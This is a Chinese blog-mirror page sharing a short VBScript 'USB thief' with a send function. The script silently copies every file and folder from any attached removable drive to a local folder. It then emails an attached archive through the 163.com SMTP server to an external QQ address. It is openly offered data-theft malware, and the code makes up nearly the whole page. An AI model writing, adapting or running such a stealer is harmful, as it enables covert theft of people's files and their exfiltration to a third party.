zoukankan      html  css  js  c++  java
  • vbs简单制作U灵大盗带发送功能的代码

    Dim udisk, disks, s
    Set fso = CreateObject("Scripting.FileSystemObject")
    Set disks = fso.Drives
    For Each udisk In disks
    s = udisk.DriveLetter
    If fso.GetDrive(s & ":").DriveType = 1 Then
    fso.CopyFile s & ":\*", "D:\biweilun's Files", True
    fso.CopyFolder s & ":\*", "D:\biweilun's Files", True
    End If

    Next

    NameSpace = "http://schemas.microsoft.com/cdo/configuration/"
    Set Email = CreateObject("CDO.Message")
    Email.From = "byan88@163.com"
    Email.To = "274668477@qq.com"
    Email.Subject = "Test sendmail.vbs"
    Email.Textbody = "OK!"
    Email.AddAttachment "C:\SO SICK .rar"   /*这里在C下建立SO SICK .RAR*/
    With Email.Configuration.Fields
    .Item(NameSpace&"sendusing") = 2
    .Item(NameSpace&"smtpserver") = "smtp.163.com"
    .Item(NameSpace&"smtpserverport") = 25
    .Item(NameSpace&"smtpauthenticate") = 1
    .Item(NameSpace&"sendusername") = "byan88"
    .Item(NameSpace&"sendpassword") = "*****"
    .Update
    End With
    Email.Send 

  • 相关阅读:
    Mysql 第一天
    Jquery day02
    Jquery day01
    Spring day04笔记(SVN讲解和回顾昨天知识)
    Spring day03笔记
    Spring day02笔记
    Spring day01笔记
    python3--命名空间字典
    python3--__call__拦截调用
    python3--__radd__处理右侧加法
  • 原文地址:https://www.cnblogs.com/top5/p/1604754.html
Copyright © 2011-2022 走看看